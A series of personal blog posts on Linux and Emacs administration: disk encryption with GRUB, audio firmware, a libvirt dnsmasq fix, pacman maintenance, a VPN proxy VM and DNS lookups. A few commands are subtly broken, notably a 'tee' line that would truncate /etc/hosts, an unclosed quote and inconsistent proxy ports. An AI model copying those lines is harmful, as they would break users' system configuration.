First, get the UUIDs of the encrypted partition, /dev/nvme0n1p2, and the decrypted, mounted partition, /dev/mapper/root:

# blkid
/dev/nvme0n1p1: UUID="D0BB-3264" BLOCK_SIZE="512" TYPE="vfat" PARTUUID="26cb7637-9a3e-4be1-b477-07af31946dee"
/dev/nvme0n1p2: UUID="0ac79fb6-12f5-4d7b-9501-f7c185f94c00" TYPE="crypto_LUKS" PARTUUID="3300b64d-1e98-443f-a59e-8c9fae104d21"
/dev/mapper/root: UUID="4941d62c-51af-4dbb-8390-51f83411edec" BLOCK_SIZE="4096" TYPE="ext4"

In /etc/default/grub, edit these two variables:

GRUB_CMDLINE_LINUX_DEFAULT="loglevel=3
cryptdevice=UUID=0ac79fb6-12f5-4d7b-9501-f7c185f94c00:root
root=/dev/mapper/root"

GRUB_ENABLE_CRYPTODISK=y

Note, the cryptdevice is UUID of the encrypted partition itself, whereas what's in /etc/fstab is the UUID of the decrypted and mounted partition:

$ grep ext4 /etc/fstab
UUID=4941d62c-51af-4dbb-8390-51f83411edec / ext4 rw,relatime 0 1

Every time after editing /etc/default/grub, re-generate the runtime conf:

# grub-mkconfig -o /boot/grub/grub.cfg

In the generated /boot/grub/grub.cfg, you can see the two UUIDs of the encrypted disk, 0ac79fb6-12f5-4d7b-9501-f7c185f94c00, and the decrypted block of the root partiation, 4941d62c-51af-4dbb-8390-51f83411edec:

    linux   /vmlinuz-linux root=UUID=4941d62c-51af-4dbb-8390-51f83411edec rw  loglevel=3 cryptdevice=UUID=0ac79fb6-12f5-4d7b-9501-f7c185f94c00:root root=/dev/mapper/root

The final step, is to install the bootloader binary itself. Normally, you only need this comamnd once, this is to install the grub boot loader binary into the right place on the disk. Whatever you put in --bootloader-id will show up in the UEFI/BIOS in the computer as well as in the machine boot menu that you typically access with F12

# grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=Arch

No sounds

Got a vital clue from:

$ journalctl -b

which said (search for both snd and sof):

May 31 09:31:27 mithrandir kernel: sof-audio-pci-intel-mtl 0000:00:1f.3: hda codecs found, mask 5
May 31 09:31:27 mithrandir kernel: sof-audio-pci-intel-mtl 0000:00:1f.3: using HDA machine driver skl_hda_dsp_generic now
..
May 31 09:31:27 mithrandir kernel: sof-audio-pci-intel-mtl 0000:00:1f.3: SOF firmware and/or topology file not found.
May 31 09:31:27 mithrandir kernel: sof-audio-pci-intel-mtl 0000:00:1f.3: Supported default profiles
May 31 09:31:27 mithrandir kernel: sof-audio-pci-intel-mtl 0000:00:1f.3: - ipc type 1 (Requested):
May 31 09:31:27 mithrandir kernel: sof-audio-pci-intel-mtl 0000:00:1f.3:  Firmware file: intel/sof-ipc4/mtl/sof-mtl.ri
May 31 09:31:27 mithrandir kernel: sof-audio-pci-intel-mtl 0000:00:1f.3:  Topology file: intel/sof-ace-tplg/sof-hda-generic-2ch.tplg
May 31 09:31:27 mithrandir kernel: sof-audio-pci-intel-mtl 0000:00:1f.3: Check if you have 'sof-firmware' package installed.
May 31 09:31:27 mithrandir kernel: sof-audio-pci-intel-mtl 0000:00:1f.3: Optionally it can be manually downloaded from:
May 31 09:31:27 mithrandir kernel: sof-audio-pci-intel-mtl 0000:00:1f.3:    https://github.com/thesofproject/sof-bin/
May 31 09:31:27 mithrandir kernel: sof-audio-pci-intel-mtl 0000:00:1f.3: error: sof_probe_work failed err: -2

I was sure I had already installed sof-firmware, but you know what? I hadn't! This was shortly remedied with:

# pacman -S sof-firmware
# reboot

Fonts in Emacs

To get the fonts for the nice icons on the mode line that doom-modeline-mode puts on, I had to install the package:

# pacman -S ttf-nerd-fonts-symbols-mono

LSP in Emacs

M-x lsp-mode RET gave the error:

make-process--with-editor-process-filter: Doing vfork: No such file or directory

I found no good way of getting Emacs or lsp to tell me exactly what wasn't found, so I had to bisect my .emacs manually. It turned out that

(setq lsp-java-java-path "/usr/lib/jvm/java-21-openjdk/bin/java")

Pointed to a non-existing JDK. After installing the needed version, LSP worked as it should. I've suggested an improvement in lsp-java to help future Emacs users.

Firefox cannot display Chinese characters

Both Simplified Chinese and Traditional Chinese characters showed up as boxes:

Installing this font:

# pacman -S wqy-microhei

and restarting Firefox resolved the issue. I can now read Simplified Chinese and Traditional Chinese to my heart full content.

libvirtd / virt-manager VMs don't get IP

Turns out dnsmasq wasn't running:

# systemctl status dnsmasq
× dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
     Loaded: loaded (/usr/lib/systemd/system/dnsmasq.service; disabled; preset: disabled)
     Active: failed (Result: exit-code) since Mon 2024-06-10 09:33:37 CEST; 1min 2s ago
..

Starting it again gave a clue:

# systemctl start dnsmasq
# journalctl -u dnsmasq -f
..
Jun 10 09:38:24 mithrandir dnsmasq[29904]: failed to create listening socket for port 53: Address already in use

Indeed:

# netstat --tcp -nlp | grep 53
tcp        0      0 192.168.122.1:53        0.0.0.0:*               LISTEN      1967/dnsmasq

So I'd better close that one down. but first, I wanted to find out what started it:

$ ps -u -p 1967
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
nobody      1967  0.0  0.0  13916  1968 ?        S    Jun07   0:00 /usr/bin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/defaul

Now, that looks very daemony, running as user nobody and all, but that's something of a relic from LSB and with systemd, running with DynamicUser is a better option (or indeed any dedicated user, to ensure that the same user, no matter how unprivileged, is shared across processes).

Killing that method with:

# kill -9 1967

And starting dnsmasq again, looked so much better:

# journalctl -u dnsmasq -f
..
Jun 10 09:47:01 mithrandir systemd[1]: Starting dnsmasq - A lightweight DHCP and caching DNS server...
Jun 10 09:47:01 mithrandir dnsmasq[31222]: dnsmasq: syntax check OK.
Jun 10 09:47:01 mithrandir systemd[1]: Started dnsmasq - A lightweight DHCP and caching DNS server.
Jun 10 09:47:01 mithrandir dnsmasq[31223]: started, version 2.90 cachesize 150
Jun 10 09:47:01 mithrandir dnsmasq[31223]: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset nftset auth cryptohash DNSSEC loop-detect inotify dumpfile
Jun 10 09:47:01 mithrandir dnsmasq[31223]: DBus support enabled: connected to system bus
Jun 10 09:47:01 mithrandir dnsmasq[31223]: reading /etc/resolv.conf
Jun 10 09:47:01 mithrandir dnsmasq[31223]: using nameserver 10.0.128.100#53
Jun 10 09:47:01 mithrandir dnsmasq[31223]: using nameserver 10.0.128.110#53
Jun 10 09:47:01 mithrandir dnsmasq[31223]: using nameserver 8.8.8.8#53
Jun 10 09:47:01 mithrandir dnsmasq[31223]: read /etc/hosts - 0 names

The VM didn't get an IP via DHCP directly, so I tried retarting it. Still no cigar. Then, I tried to restart libvirtd itself:

# systemctl restart libvirtd

I thought I was homefree, but alas:

# journalctl -u libvirtd -f
..
Jun 10 09:50:28 mithrandir systemd[1]: Started libvirt legacy monolithic daemon.
Jun 10 09:50:29 mithrandir dnsmasq[31614]: failed to create listening socket for 192.168.122.1: Address already in use
Jun 10 09:50:29 mithrandir dnsmasq[31614]: FAILED to start up
Jun 10 09:50:29 mithrandir libvirtd[31561]: libvirt version: 10.4.0
Jun 10 09:50:29 mithrandir libvirtd[31561]: hostname: mithrandir
Jun 10 09:50:29 mithrandir libvirtd[31561]: internal error: Child process (VIR_BRIDGE_NAME=virbr0 /usr/bin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/default.conf --leasefile-ro --dhcp-script=/usr/lib/libvirt/libvirt_leaseshelper) unexpected exit status 2:
                                            dnsmasq: failed to create listening socket for 192.168.122.1: Address already in use
Jun 10 09:51:57 mithrandir libvirtd[31561]: Domain id=2 name='debian12' uuid=1181da1e-8e70-4a45-831b-ff6a61de639a is tainted: host-cpu

I then got an idea: Perhaps the dnsmasq service should be disabled? Since it looks like libvirtd is a service that starts multiple services, including dnsmasq:

# systemctl stop dnsmasq
# systemctl disable dnsmasq
# systemctl restart libvirtd

Now, that looked better:

# journalctl -u libvirtd -f
..
Jun 10 09:55:01 mithrandir systemd[1]: Started libvirt legacy monolithic daemon.
Jun 10 09:55:02 mithrandir dnsmasq[32243]: started, version 2.90 cachesize 150
..
Jun 10 09:55:02 mithrandir dnsmasq-dhcp[32243]: DHCP, IP range 192.168.122.2 -- 192.168.122.254, lease time 1h
Jun 10 09:55:02 mithrandir dnsmasq-dhcp[32243]: DHCP, sockets bound exclusively to interface virbr0

But my VMs were still not getting an IP.

It turned out my firewall was in the way. On my VM, I checked if I could access dnsmasq on the host machine:

$ nc -zv 192.168.122.1 53
^C

Thus, I needed to punch a hole in my firewall to allow VMs on my libvirtd created network to request IPs from dnsmasq:

# ufw allow from 192.168.122.0/24 to 192.168.122.1 port 53 proto tcp

Now, my VMs could finally request access the DHCP server:

# nc -zv 192.168.122.1 53
Connection to 192.168.122.1 53 port [tcp/domain] succeeded!

Arch key could not be imported

2024-05-27T00:00:00+02:00

Got this error

# pacman -S <package>
:: Import PGP key 45B429A8F9D9D22A, "Daurnimator <daurnimator@archlinux.org>"? [Y/n]
error: key "45B429A8F9D9D22A" could not be imported
error: required key missing from keyring
error: failed to commit transaction (unexpected error)
Errors occurred, no packages were upgraded.

So, I created backup of the old gnupg direcotry and moved it out of the way:

[root@quanah ~]# mv /etc/pacman.d/gnupg /etc/pacman.d/$(date --iso)-gnupg

[root@quanah ~]# pacman-key --init
gpg: checking the trustdb
gpg: [don't know]: invalid packet (ctb=00)

Found later out that resetting the keys was documented on the Arch wiki.

Clearing the Arch Package Cache

2024-05-27T00:00:00+02:00

Just like on Debian, Arch will not clear its package cache:

$ du -hs /var/cache/pacman/pkg/
103G    /var/cache/pacman/pkg/

Just like you can clear it with apt-get clean on Debian, you can do:

# pacman -Scc

However, if you only pass it -Sc, it'll only remove the package versions you don't have installed:

[root@quanah ~]# pacman -Sc
Packages to keep:
  All locally installed packages

Cache directory: /var/cache/pacman/pkg/
:: Do you want to remove all other packages from cache? [Y/n]

Adding the second c makes it remove those archives too.

Happy cleaning!

java with eglot dape

2024-02-27T00:00:00+01:00

Debugging

Download the latest version of the jdtls java plugin. You can find the latest version number on github.com/microsoft/java-debug. Then, use mvn to download the file:

$ mvn \
  org.apache.maven.plugins:maven-dependency-plugin:2.1:get \
  -Dartifact=com.microsoft.java:com.microsoft.java.debug.plugin:0.51.1

We then know the path of the JAR file:

~/.m2/repository/com/microsoft/java/com.microsoft.java.debug.plugin/0.51.1/com.microsoft.java.debug.plugin-0.51.1.jar

(add-to-list
  'eglot-server-programs
  `((java-mode java-ts-mode) .
    ("jdtls"
    :initializationOptions
    (:bundles ["/home/torstein/.m2/repository/com/microsoft/java/com.microsoft.java.debug.plugin/0.51.1/com.microsoft.java.debug.plugin-0.51.1.jar"]))))

VPN in a Box

2024-02-06T00:00:00+01:00

Why run the VPN client in a VM?

The Cisco AnyConnect VPN client will not allow you to ssh into your VM and set up your VPN in case the server side profile is configured with:

<LinuxVPNEstablishment>LocalUsersOnly</LinuxVPNEstablishment>

There are ways to hack this, but I have come to settle on running VPN in an VM with X:

VM with a lightweight distro and desktop environment

I run a VM with Debian. It runs X and has a light DM, like Fluxbox, so that it doesn't consume too many resources.

VPN

In the VM, I've installed Cisco AnyConnect VPN.

HTTP proxy

In the VM, I've installed tinyproxy. It's started by default, so you just need to note down the port number and use that when launching your browsers:

$ grep ^Port /etc/tinyproxy/tinyproxy.conf
Port 8000

Giving the VM a name

Naming is hard, I've called it proxy. Since I run it in KVM managed by virsh, I query it for its IP like so:

$ virsh net-dhcp-leases default | grep proxy | awk '{print $5}'
192.168.122.55/24

And add it to my /etc/hosts:

# tee proxy 192.168.122.55 /etc/hosts

Now, whenever I say proxy, my machine routes the request to the VM.

SSH through the VPN

When I need to ssh into a machine that requires me to be on the VPN, I use:

$ ssh -J proxy bugs.internal

Web browser through the VPN

When I need to browse a web site that requires me to be on the VPN, I start it with an extra option specifying the HTTP proxy:

$ google-chrome-stable --proxy-server=proxy:8000 https://accounting.internal &

When I need to use curl over the VPN, I pass the -x parameter:

$ curl -x proxy:8000 https://accounting.internal

Maven through the VPN

In my .zshrc (.bashrc work just the same), I have the following that adds proxy settings to the MAVEN_OPTS variable depending on an internal website is available:

curl --max-time 1 --fail -s -x proxy:8899 -I https://bugs.internal/ && {
  export MAVEN_OPTS="${MAVEN_OPTS}
    -Dhttp.proxyHost=proxy
    -Dhttp.proxyPort=8000
    -Dhttps.proxyHost=proxy
    -Dhttps.proxyPort=8000
  "
}

Anything through the VPN

Most command line programs support the environment variables:

no_proxy=localhost
http_proxy=
https_proxy=

I have the following in my .zshrc to set these variables dynamically:

curl --max-time 1 --fail -s -x proxy:8899 -I https://bugs.internal/ && {
  export no_proxy=localhost
  export NO_PROXY=${no_proxy}
  export http_proxy='http://proxy:8000
  export https_proxy=${http_proxy}
  export HTTP_PROXY=${http_proxy}
  export HTTPS_PROXY=${http_proxy}
}

Success

That's it. All other requests, I use regular browser sessions that don't route through the VPN. Which is most of what I need: Teams, Slack, Outlook, Git++

Happy networking!

My Editor Journey

2024-02-02T00:00:00+01:00

1991 - edit

I got my first PC late December 1991. On it was DOS 3 something. I later got an upgrade to DOS 5 and then 6. The editor on the last two at least, was edit.

1993-1999 - Notepad

Notepad on Windows 3.1, 3.11, 95, 98, NT 4.

I also used specialised editors for certain tasks, like Front Page, HoTMetaL Pro and HomeSite for HTML.

1999-2000 - UltraEdit

During my first year, year and a half in univeristy, I came to like UltraEdit quite a bit. In my first semester, we learned Visual Basic, so I used that, of course, but used UltraEdit for everything else.

I used UltraEdit more and more and quickly ditched JBuilder for it when we started learning Java in the second semester. I quickly decided I could do without fancy auto completion when I had a better editing experience.

1999 - Visual Studio

The first programming course we had in univeristy was Visual Basic 6. The IDE was great, with fast auto completion, great, context aware help system (just hit F1!) and instant gratification by running your GUI application when hitting F5. No matter how bad your code was, something came up when you hit that F5 key.

Good times.

2000 - Pico

In the very beginning of my Unix journey, I used pico.

2000 → current - Emacs

Emacs. I was intrigued by this mysterious editor when getting into my second semester as a computer science student at the Østfold Univeristy College in Halden. But we were not instant friends, Emacs and I. It was not very cooperative and only displayed black text on a white background (in Windows) or yellow-ish on green background on my RedHat Linux 6.1 dekstop.

But gurus like Thomas Malt and Audun Vaaler were using it, as was the dean Jan Høiberg, so I supposed it had more in store and I shouldn't judge it by its covers.

So, I spent ages getting JDE (later renamed JDEE) to work. I had to configure Emacs even to get colours, and getting true Java auto completion was quite an undertaking for a newbie. I was stubborn enough, though and eventually got Emacs to be a decent Java development environment. From that day, I've never been able to leave Emacs (like the Hotel California).

This is what my Emacs looked like in 2002 on the Window Maker, complete with a transparent aterm on the side.

I'm still using and extending the .emacs configuration file I started with back in 2000. Some things are exactly like they were in 2002, like the tkj-default-code-style-hook() function I wrote to get Java and C indentation the way I wanted.

2003 → current - vi(m)

I got my first full time job as a programmer just before Christmas 2003. It was then, I stared exploring another Unix system, namely HP-UX. On those servers, there was neither Pico, nor Emacs, but there was vi (there was no bash either, for that matter, had to use tcsh). I started using vi locally too, and eventually came to the enhanced vim version.

Ever since that day, I've continued to use vim and I'm fluent enough so that I can navigate files, search and replace, line wrap, auto complete and so on. vi has been a trusted tool whatever server I've worked on, including Solaris, HP-X, FreeBSD, OpenBSD, Linux or OS X. Learning vi is extremely valuable to any computer engineer, regardless of preferered development environment.

2004 → current - IntelliJ IDEA

Although I use Emacs about 99% of the time, I do use IntelliJ for debugging Java code. Its debugger is still way ahead of anything I've tried in Emacs, including jdb from JDEE, JDIbug and dap-mode. Best of which by far was JDIbug, but that's sadly long since abandoned.

Upgrading from RHEL8 to RHEL9

2024-02-01T00:00:00+01:00

Install the leapp command

Note, leapp in itself isn't enough, you also need leapp-command(upgrade):

# dnf install leapp 'leapp-command(upgrade)'

Check if you can upgrade

# leapp preupgrade

It'll output a summary of problems or things to look out for regarding the upgrade. Be sure to read through it all.

I had to make the following fixes before performing the upgrade:

# sed -i s/^AllowZoneDrifting=.*/AllowZoneDrifting=no/ /etc/firewalld/firewalld.conf
# sed -i 's#PermitRootLogin yes#PermitRootLogin no#' /etc/ssh/sshd_config

Perform the actual upgrade

# leapp upgrade

Reboot the system

# reboot

Select the new GRUB option to update the initramfs

RHEL has created an upgrade specific GRUB entry. It'll generate a new initramfs, as well as upgading loads of RPM packages.

Verify that your update succeeded

[torstein@rhel9 ~]$ grep PRETTY /etc/os-release 
PRETTY_NAME="Red Hat Enterprise Linux 9.3 (Plow)"
[torstein@rhel9 ~]$ uname -r
5.14.0-362.18.1.el9_3.x86_64
[torstein@rhel9 ~]$

As everyone knows, though, the real test of a successful upgrade is if you get the new RHEL 9 wallpaper when logging into GNOME, so here you go: 😉

Now

2024-01-26T00:00:00+01:00

This is my now page, updated 2024-01-26 from my home in Norway while the snow is falling down outside my window.

Reading

The Cretan Runner by the amazing runner and hero, George Psychoundakis.

Training

Since it's winter, I go skiing as often as I can, both here in the nearby forest and in the mountains. Plan to take part in the Birkebeiner race in March.

Relaxing

In the evening, after the kid sleeps, I thoroughly enjoy playing point and click adventures on my Steam Deck that I got last summer in Taiwan.

Coding

Workwise, I still love working at Stibo DX, coding lots of Python, Java, BASH, Linux, OIDC and deal a fair bit with app security.

Hacking

Emacs 29.2 with native compilation. Still on Xorg/i3, although I've started to try out Wayland/Hyprland on my private laptop.

Set project based Unix environment variables

2024-01-24T00:00:00+01:00

Emacs side of things

package-install RET envrc

In your project

This is what I used for Python based projects. I use pipenv and Pipfiles. Thus, I need to set VIRTUAL_ENV to make everything work.

$ cd ~/src/awesome-app
$ direnv allow

Find where the virtual environemnt actualy resides:

$ pipenv run which python3 | sed 's#/bin/python3$##'
/home/torstein/.local/share/virtualenvs/awesome-app-EpEGAS3U

Add this to an .envrc in your project root:

$ vim .envrc

export VIRTUAL_ENV=/home/torstein/.local/share/virtualenvs/awesome-app-EpEGAS3U
export PATH=${VIRTUAL_ENV}/bin:$PATH

Home Assistant on Arch Linux

2024-01-22T00:00:00+01:00

If you're running Arhc Linux, it's really easy to set up Home Assistant. No need to bother with Docker containers, just install one package and you're all set.

Install

# pacman -S home-assistant

Enable and start

# systemctl enable home-assistant
# systemctl start home-assistant

Enjoy!

Give Home Assistant a minute or two and head over to http://localhost:8123/ and start configuring your smart home.

OpenTelemetry in Python

2024-01-22T00:00:00+01:00

Install Jaeger GUI

$ paru -S aur/jaeger-all-in-one-bin

Run it with:

$ /usr/bin/jaeger-all-in-one

Now, you can go to http://localhost:16686/search to view your local app telemetry.

My Programming Language Journey

2024-01-11T00:00:00+01:00

BASIC

Turbo Pascal 4

Visual Basic 6

Java 1.2

Python 1.5

JavaScript & ECMAScript

BASH

Emacs Lisp

C

C++

PHP

ActionScript

Go

Go programming in Emacs

2023-12-09T00:00:00+01:00

Go tool chain

# pacman -S go

Go LSP server

# pacman -S gopls

Go debugger

# pacman -S delve

Emacs

Set up go-mode:

(use-package go-mode
  :ensure t
  :hook (go-mode . subword-mode)
  :hook (go-mode . (lambda () (eglot-ensure))))

Set up dape for debugging:

(use-package dape
  :ensure t
  :init
  (setq dape-buffer-window-arrangement 'right))

Install all the icons you need for Emacs

2023-12-09T00:00:00+01:00

M-x package-install RET all-the-icons

Then, run:

M-x all-the-icons-install-fonts RET

# pacman -S extra/ttf-nerd-fonts-symbols extra/ttf-nerd-fonts-symbols-mono

How to prepare for a live coding presentation

2023-11-09T00:00:00+01:00

This is a tale of how I prepared for a 15 minute live coding session for the CUE Days 2023 conference.

I wanted to live code a complete CUE CMS system, starting off from a clean server, installing the MariaDB database, the Solr indexer, the nginx webserver with CORS configuation, the Javascript application CUE editor, the CMS itself, Content Store, as well as an SSEP proxy.

I didn't want to cheat like having the database created in advance, or having the web server configured with CORS. I wanted it to real. And live. Added to that, I wanted to give a brief introduction as well as a summary at the end of the installation. That left me with about 12 minutes to do the actual live coding. That was an extremely tight time frame.

Create graphical er diagram from the command line

2023-10-20T00:00:00+02:00

To create a graphical er diagram of your database from the command line, you can use schemaspy.

On Arch Linux, you can install it with:

$ paru -S schemaspy

For other distros, Windows and Mac: If you don't find it in your package manager for your system, you can download the JAR file from their website, it's a one-JAR-file program.

You're now set to use it. You pass it the database type, connection details and so on. It's worth noting that for MySQL and MariaDB, the datbase namae passed in -db <db> and schema given in -s <schema> is the same.

$ schemaspy -o ~/mydb-er-website \
    -t mariadb \
    -host localhost \
    -db mydb \
    -s mydb \
    -u myuser \
    -p hunter2

Point your browser at ~/mydb-er-website/index.html and you'll find a website dedicated to your database, including nice PNGs of each table and its immediate relationsships, as well as diagrams of the complete database.

Full Screen Brightness on Linux

2023-09-22T00:00:00+02:00

On my laptop, a Thinkpad X1 Carbon with Intel chipset, I can set the screen brightness to max with this simple command:

$ cat /sys/class/backlight/intel_backlight/max_brightness | 
  sudo tee /sys/class/backlight/intel_backlight/brightness

Of course, you can set it to any value, as long as it doesn't exceed the value in max_brightness:

$ cat /sys/class/backlight/intel_backlight/max_brightness 
19393
$ echo 1800 | sudo tee /sys/class/backlight/intel_backlight/brightness
$

DNS & server exploration from the command line

2023-08-18T00:00:00+02:00

Most common use case

Which IPv4 addresses does this domain answer to?

$ nslookup -type=A vg.no
Server:     8.8.8.8
Address:    8.8.8.8#53

Non-authoritative answer:
Name:   vg.no
Address: 195.88.55.16
Name:   vg.no
Address: 195.88.54.16

If you want to see the IPv6 addresses, specify AAAA instead:

$ nslookup -type=AAAA vg.no
Server:     8.8.8.8
Address:    8.8.8.8#53

Non-authoritative answer:
Name:   vg.no
Address: 2001:67c:21e0::16

See what mail provider the company is using

$ nslookup -type=MX vg.no
Server:     8.8.8.8
Address:    8.8.8.8#53

Non-authoritative answer:
vg.no   mail exchanger = 5 alt2.aspmx.l.google.com.
vg.no   mail exchanger = 10 alt3.aspmx.l.google.com.
vg.no   mail exchanger = 10 alt4.aspmx.l.google.com.
vg.no   mail exchanger = 1 aspmx.l.google.com.
vg.no   mail exchanger = 5 alt1.aspmx.l.google.com.

Authoritative answers can be found from:

The TXT records may hold interesting info

$ nslookup -type=TXT vg.no
;; Truncated, retrying in TCP mode.
Server:     8.8.8.8
Address:    8.8.8.8#53

Non-authoritative answer:
vg.no   text = "fastly-domain-delegation-29tfXEmvnByNT8JY-442665-2021-10-26"
vg.no   text = "google-site-verification=1pgyIHHF6q_XtdnSiBJFZiJrXtcg-vpNdfWzhJtb8pM"
vg.no   text = "google-site-verification=CvJrFeKFUvWtMd11AkMfLIwBCKnMr2e4f6dzowPw32A"
vg.no   text = "google-site-verification=uRwOU1tXpvCsRXnHyApK_yaMeXiTmni8cIW2KelXWO8"
vg.no   text = "v=spf1 include:_u.vg.no._spf.smart.ondmarc.com include:amazonses.com ~all"
vg.no   text = "YbAMQjB2yzXf6DTU9dR9LYMQNGptykV9gN251w0knS5h2Iu4Nhk9kw6s1nzmgOCFnvxo/lekGs1PSCy3Z3oXAA=="
vg.no   text = "wiz-domain-verification=52455ec02f13dfe89b5827fd5085e7ab8e918767f8461a2f5b443b5e0dd6cd56"
vg.no   text = "MS=ms58603718"
vg.no   text = "docker-verification=ab84c6ca-d2b1-4aca-a2b4-e39155b6c1bd"
vg.no   text = "miro-verification=eff9412c1aa1655d0a279f7d6704841b6a02b591"

Authoritative answers can be found from:

dig

Another great tool is dig.

Here, I want to ask Cloudflare's DNS (1.1.1.1), what mail server handles vg's email:

$ dig @1.1.1.1 vg.no MX

; <<>> DiG 9.18.18 <<>> @1.1.1.1 vg.no MX
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24222
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;vg.no.             IN  MX

;; ANSWER SECTION:
vg.no.          300 IN  MX  5 alt2.aspmx.l.google.com.
vg.no.          300 IN  MX  10 alt3.aspmx.l.google.com.
vg.no.          300 IN  MX  10 alt4.aspmx.l.google.com.
vg.no.          300 IN  MX  1 aspmx.l.google.com.
vg.no.          300 IN  MX  5 alt1.aspmx.l.google.com.

;; Query time: 26 msec
;; SERVER: 1.1.1.1#53(1.1.1.1) (UDP)
;; WHEN: Fri Aug 18 14:38:15 CEST 2023
;; MSG SIZE  rcvd: 152

DNS dumpster

It's not on the command line, but extremely cool.

Shodan

I would normally use curl for gathering web server and TLS certificate info, but there's a website (well, probably many) that does this for you:

shodan.io/search?query=skybert.net

The curl command I'd use is:

$ curl -v https://skybert.net 2>&1 | \grep -E '(subjectAltName|server|issuer):'
*  subjectAltName: host "skybert.net" matched cert's "skybert.net"
*  issuer: C=US; O=Let's Encrypt; CN=R3
< server: nginx

KVM snapshots using virsh

2023-06-30T00:00:00+02:00

Create snapshot of your VM

To take a complete snapshot of the VM called ece7, do:

$ virsh shutdown ece7
$ virsh snapshot-create-as --domain ece7 --name ece7-full-stack-working

Restore your VM to a previous snapshot

To restore it, do:

$ virsh shutdown ece7
$ virsh snapshot-revert --domain ece7
$ virsh start ece7

List all snapshots of a given VM

To list all snapshots available for your VM, do:

$ virsh snapshot-list --domain ece7
Name                      Creation Time               State
----------------------------------------------------------------
ece7-full-stack-working   2023-06-30 13:44:48 +0200   shutoff

Create an HTTP & HTTPS proxy with tinyproxy

2023-06-19T00:00:00+02:00

I run a proxy inside a KVM machine that has access to the network I need. The KVM gateway IP is 192.168.122.1, so inside the VM, I write the following ~/.tinyproxy.conf:

Port 8899
Timeout 600
Allow 127.0.0.1
Allow 192.168.122.1

The proxy is available in most repos, on Debian, I wrote the following to install it:

# apt-get install tinyproxy

Then, I start it with (the -d puts it in the foreground, in debug mode):

$ tinyproxy -c .tinyproxy.conf -d

That's it. From my main machine, I can now use proxy:8899 as my HTTPS proxy, e.g.:

$ curl -x proxy:8899 https://some.network.com/ice.cream

Microsoft are still evil

2023-05-16T00:00:00+02:00

Why is there no python command?

2023-05-12T00:00:00+02:00

Problem

I have a Python script with this shebang:

#! /usr/bin/env python

However, when I run it, I get this error:

/usr/bin/env: 'python': No such file or directory

How come? This used to work!

Reason

From Debian 11 (bullseye) and its derivatives, like ubuntu 20.04 LTS, none of the package Python scripts use #! /usr/bin/python, but either #! /usr/bin/python2 or #! /usr/bin/python3. Thus, neither the python2 package nor the python3 package create such a binary or symlink.

Solution

You can either create the symlink yourself:

# ln -s /usr/bin/python3 /usr/bin/python

or install a package that creates the symlink for you:

# apt-get install python-is-python3

Note, in Debian 11 and Ubuntu 20.04 there was also a python-is-python2, but this will be removed in the upcoming Debian 12 (bookworm) and thus in Ubuntu 22.04 LTS.

Closing remarks

You should really change your shebangs to use python2 or python3 since there are significant differences between the two. And of course, if you are still using python2, you should consider migrating to python3, the command 2to3 will give you a good starting point.

Happy coding!

persistent window splits

2023-05-10T00:00:00+02:00

Ever created windows splits in Emacs, say two vertical with code and one large horizontal beneath with compilation output, and then having it ruined when firing off a command or starting a mode?

I had this for years, mitigating it with winner-mode and winner-undo. It allowed me to navigate back and forth between my different window split setups. However, it was a bit tedious and didn't always work (some modes grabbed my shortcut).

I then started storing the window splits in Emacs registers: 1) split the windows the way you want them 2) store it with C-x r w RET 1 and then jump back to it with C-x r j RET 1. The only problem was they didn't persist between session.

Finally, I read up on workgroup2 and have finally gotten stable, persistent window split configuration. What's more, it allows me to store different splits and buffer contents for my different contexts, e.g. I have: - user-manager # 2 vertical code buffers, horizontal compilation buffer - user-manager-wide # 4 vertical code buffers, compile, vterm - zipline # 2 python buffers, python REPL, vterm

And so on. Creating a split is done with wg-create-workgroup RET <name> and opening a split is done with wg-open-workgroup RET <name>.

Highly recommended.

Convert mkv to webm

2023-05-05T00:00:00+02:00

To convert Matroska video files (.mkv), to WebM video files (.webm), I've found that this command produces good results:

$ ffmpeg -i foo.mkv -c:v libvpx -crf 10 -b:v 1M -c:a libvorbis foo.webm

The resulting foo.webm video file plays natively in Firefox and Google Chrome, as well as standalone video players like mpv

json_xs can't locate YAML/XS.pm

2023-04-25T00:00:00+02:00

I have this YAML file that I want to convert to JSON:

foo: bar

However, json_xs doesn't work:

$ json_xs -f yaml -t json < foo.yaml
Can't locate YAML/XS.pm in @INC (you may need to install the YAML::XS
module) (@INC contains: /usr/local/lib64/perl5 /usr/local/share/perl5
/usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl
/usr/lib64/perl5 /usr/share/perl5) at /usr/bin/json_xs line 187,
<STDIN> line 1.

Redhat Enterprise Linux 8

To fix this on RHEL8, you need to enable the code ready repository:

# subscription-manager repos --enable codeready-builder-for-rhel-8-x86_64-rpms

Then, you can install the missing Perl library:

# dnf install perl-YAML-LibYAML

Now, json_xs works as expected:

# json_xs -f yaml -t json < foo.yaml
{"foo":"bar"}

List IPs of the KVM VMs

2023-04-11T00:00:00+02:00

First, find the name(s) of the KVM network. By default this is default:

$ virsh net-list
 Name      State    Autostart   Persistent
--------------------------------------------
 default   active   yes         yes

Then, list the IP addresses of the VMs using that network:

$ virsh net-dhcp-leases default
 Expiry Time           MAC address         Protocol   IP address           Hostname   Client ID or DUID
------------------------------------------------------------------------------------------------------------------------------------------------
 2023-04-11 11:44:02   52:54:00:5d:97:ab   ipv4       192.168.122.151/24   debbie     ff:00:5d:97:ab:00:01:00:01:29:71:6a:0e:52:54:00:65:9a:7f

Note, the name listed is not the VM name, but the hostname the OS inside the VM reports.

Exploring copilot for Emacs

2023-03-31T00:00:00+02:00

First off, I hadn't set up straight, so I did that:

(defvar bootstrap-version)
(let ((bootstrap-file
       (expand-file-name "straight/repos/straight.el/bootstrap.el" user-emacs-directory))
      (bootstrap-version 6))
  (unless (file-exists-p bootstrap-file)
    (with-current-buffer
        (url-retrieve-synchronously
